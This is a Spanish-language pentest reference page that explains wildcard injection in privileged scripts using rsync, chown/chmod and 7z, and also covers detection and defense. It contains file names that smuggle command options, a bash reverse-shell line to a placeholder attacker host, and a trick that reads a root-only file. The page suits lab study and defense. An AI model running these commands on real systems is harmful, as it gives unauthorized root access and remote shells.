Wildcard abuse (wildcard injection)
Cuando un script privilegiado usa un comodín, como en chown -R www-data *, la shell expande ese * a la lista de ficheros del directorio antes de que el programa lo vea. Si podemos escribir ahí, podemos crear ficheros cuyo nombre empiece por -, y el programa los leerá como opciones en vez de como datos. El nombre del fichero se convierte en argumento, y ahí está todo el fallo.
El caso más conocido es el de tar, que tiene página propia: inyección de comodín en tar. Pero el patrón se repite en varios binarios que aparecen a menudo en scripts de mantenimiento.
rsync acepta -e, que indica el programa a usar como transporte remoto:
cd <directorio-del-comodin>
touch -- '-e sh shell.sh'
echo 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1' > shell.shchown y chmod aceptan --reference, que copia el propietario o los permisos de otro fichero. Si el script privilegiado hace chown -R user *, un fichero llamado --reference=<fichero-nuestro> hace que todo el directorio pase a pertenecer a quien nosotros queramos:
touch <fichero-propio>
touch -- '--reference=<fichero-propio>'7z admite -i@<fichero> para leer la lista de entradas de un fichero. Como los errores incluyen el contenido que no supo comprimir, sirve para leer ficheros que no deberíamos poder leer:
touch @root.txt
ln -s /root/root.txt root.txtPara encontrarlo hay que leer el script, no el binario:
cat /usr/local/bin/<script>.sh
crontab -l; cat /etc/crontab
sudo -lMatices. Hacen falta dos condiciones a la vez: permiso de escritura en el directorio donde se expande el comodín, y que el script use realmente * en vez de una ruta explícita. Un chown -R user /var/www/ no es explotable por esta vía.
Cómo detectarlo. En reposo, la firma son ficheros con nombre de opción en un directorio que un proceso privilegiado recorre con *: nombres que empiezan por - (-e sh ..., --reference=..., --checkpoint-action=...) o por @, que ningún fichero de datos legítimo lleva (FIM/auditd sobre la creación con esos nombres). En ejecución, el binario del script (tar/rsync/chown) lanzando sh/bash como hijo, o aplicando --reference de un fichero controlado, es la confirmación (auditd/Sysmon for Linux sobre execve con ppid del script/cron). Cuando lo dispara una tarea programada, pspy muestra la línea exacta con el * (pspy).
Defensa. En los scripts, rutas absolutas y -- antes de los argumentos para cortar el paso de las opciones; mejor aún, find ... -print0 | xargs -0. Relacionado con cron sobre script escribible y abuso de sudo.
Máquinas donde se aplica
- CockpitProving Grounds Practice